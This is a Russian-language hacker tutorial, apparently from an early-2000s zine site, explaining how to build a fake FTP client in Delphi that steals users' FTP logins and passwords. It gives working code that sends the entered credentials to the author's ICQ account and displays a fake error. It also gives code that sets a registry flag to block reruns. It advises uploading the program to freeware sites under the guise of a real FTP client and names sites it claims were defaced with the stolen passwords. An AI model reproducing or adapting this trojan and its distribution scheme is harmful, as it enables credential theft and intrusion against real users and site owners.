| |
| |
|
|
Всё началось с того, что мне очень хотелось подефейсить сайты, да и в
большом количестве. А опыта и терпения было маловато. Вот просыпаюсь я
однажды часов в 6. Лежу думаю... Пытаюсь уснуть, а тут бах. В голову
такая мысля пришла. Ведь многие пользователи просто не задумываются о
безопасности своих паролей и вбивают их куда не лень :) Осталось только
придумать систему получения этих заветных паролей. И тут на помощь
приходит Delphi. На нем легко и просто можно изготовить псевдо
FTP-клиент. Представьте только последовательность: 1) Пользователь качает вашу программу. 2) Вбивает туда свои пароли. 3) Нажимает кнопку "Соединится". 4) К вам приходят его пароли. 5) А ему достается ошибка соединения ;) Стоит эту схему один раз наладить, и к вам будут приходить пароли как СПАМ. Теперь, количество паролей зависит только от популярности программы. Что нравится, читай дальше... Изготовление программы Устанавливаем на своё железо Delphi [у меня шестая версия этого продукта]. После запуска вы увидите открывшуюся форму. Так вот самое главное! Её надо представить как симпатичную FTP программку [умеющую только отправлять пароли]. Только не говорите что вы никогда не видели нормального FTP-клиента. На форму надо повесить как минимум два больших окна [ShellListView], одно скрытое [visible=false] окно Memo, несколько кнопочек, и три поля Edit [для логина, пароля и ftp сервера]. Отлично :) Так, и теперь надо скачать компонент ICQClient [для того, чтобы пароли приходили прямо на Асю. Как говорится, наглость - второе счастье :)], лежит он на www.cabans.net. Замечу, что к компоненту прилагается FAQ на русском языке, а также два примера. Один из них и есть почти полноценный ICQ-клиент. Обязательно взгляните на него. Пока я тут вводил ламеров в курс дела, вы уже установили компонент ? Отлично ! Теперь откройте свойства компонента TICQClient. В поле ICQServer и ICQPort введите: login.icq.com - сервер. 5190 - порт. Помните мы там создали скрытое окно Memo? Сейчас надо сделать так, чтобы при нажатии на кнопку "Подключится" все данные из полей Edit1, Edit2 и Edit3 добавились в скрытое окно [так легче отправлять сообщение]: begin pass.Lines.Clear; pass.Lines.Add(edit1.Text); // Добавляем логин pass.Lines.Add(edit2.Text); // Добавляем пароль pass.Lines.Add(edit3.Text); // Добавляем имя ftp сервера try // Пытаемся соединится с ICQ [для этого надо иметь свой ICQ номер] ICQClient1.UIN:=337711222; // Указываем номер Аси ICQClient1.Password:='gemoroy'; // Указываем пароль от Аси ICQClient1.Login(0); // Соединяемся !!! except // Если соединение не произошло Showmessage('Интернет не подключен !'); // Выводим ошибку end; end; Допустим, что ошибки не было и юзверь подконнектился к вашему номеру ICQ. Тогда остается только отправить сообщение, содержащее пароли [у нас это окно Memo]. Жмем по компоненту и выбираем вкладку "events" [события], ищем OnLogin, щелкаем два раза и вводим следующую белиберду: procedure TForm1.ICQClient1Login(Sender: TObject); begin // Отправляем пароли на ICQ с номером 666999 ICQClient1.SendMessage( 666999, Memo1.Lines.Text); try // Здесь прописываем вынесение в реестр секретного ключа // [не забудьте прописать в uses компонент registry] reg:=tRegistry.create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey('\Software\Outlook',true); reg.WriteString('KILL','ON'); // Сам ключ reg.free; except end; Showmessage('Сервер не найден !'); // Нечто-типа ошибки соединения :) end; Для чего нужен секретный ключ в реестре, спросите вы... Да все для того, чтобы при запуске программы его проверять, если он там присутствует, тогда выводить какую-нить ошибку и закрывать программу. И тогда пользователь не сможет после отправления своих паролей запустить эту прогу еще раз. Ну, подумайте, зачем вам одинаковые пароли :) Так, я там говорил что программа будет проверять ключ при запуске, вот код: procedure TForm1.FormCreate(Sender: Tobject); var statusftp: String; begin try reg:=tRegistry.create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey('\Software\Outlook',true); statusftp:=reg.ReadString('KILL'); reg.Free; except end; if statusftp = 'ON' then // Если ключ есть begin // Тогда обламываем пользователя MessageDlg ('Неизвестная ошибка по адресу $85F42D.', mtError, [mbOK], 0); application.Terminate; // И выключаем программу end; end; А теперь последнее. Я описал, как подключится к ICQ и отправить сообщение, но когда юзверь попытается закрыть программу, то перед ним появится "Экран смерти" [Синенький экран]. Почему ? Да все, потому что программа подсоединена к серверу, а какой-то ламер пытается ее закрыть. Исправляется эта ошибка элементарно. На "events" закрытие программы вешаем код: procedure TForm1.FormClose(Sender: TObject; var Action: TcloseAction); begin ICQClient1.LogOff; end; Вот и все! Особых усилий и не надо... Раскрутка программы С этим пунктом, я даже и не парился. Залил программу к себе на сайт http://www.site.ru/, за тем пошел на www.download.ru и зарегистрировал её под видом FTP-клиента ;) Всё получилось чики-пуки. Ко мне приходят ежедневно около 10 <!> паролей. Теперь представьте, если ее раскрутить на: www.soft.mail.ru/author/add.html www.freesoft.ru/author/add.html http://www.freeware.ru/ http://www.shareware.ru/ http://www.programms.ru/ http://www.softvariant.ru/ Этот список далеко не полный. Но чтобы пароли приходили десятками в день этого хватит ;) Кто-же на это клюнет Думаете на это мало кто попадется ? А вот и ошибаетесь ! Ко мне приходили пароли от бесплатных хостингов, фирм, групп и даже корпораций, а это и есть гуд :)))))) Оказывается необходимо тщательно продумать интерфейс, чтобы он, в свою очередь, не вызвал подозрений. И описание проги должно быть качественным [без таких слов: прога, клёво, рулез, качай скорей]. Вот децельный список взломанных, таким образом, сайтов: www.parus.ru www.obshepit.ru www.tagnet.ru www.nalog.perm.ru www.azovmet.ru nordcable.telemost.ru www.sgt.ru www.urisprom.ru Заключение Надеюсь, вы впитали всю эту чрезвычайно полезную информацию и готовы зачистить интернет от такого типа ламеров ;) Удачного вам сбора паролей. И помните - ЛАМЕРЫ это вымирающий вид юзверей :) Скоро их занесут в красную книгу... |
| Дизайн и разработка сайта |  |
"Проект Amega" |
© 2000-2005 Все права защищены и охраняются законом.
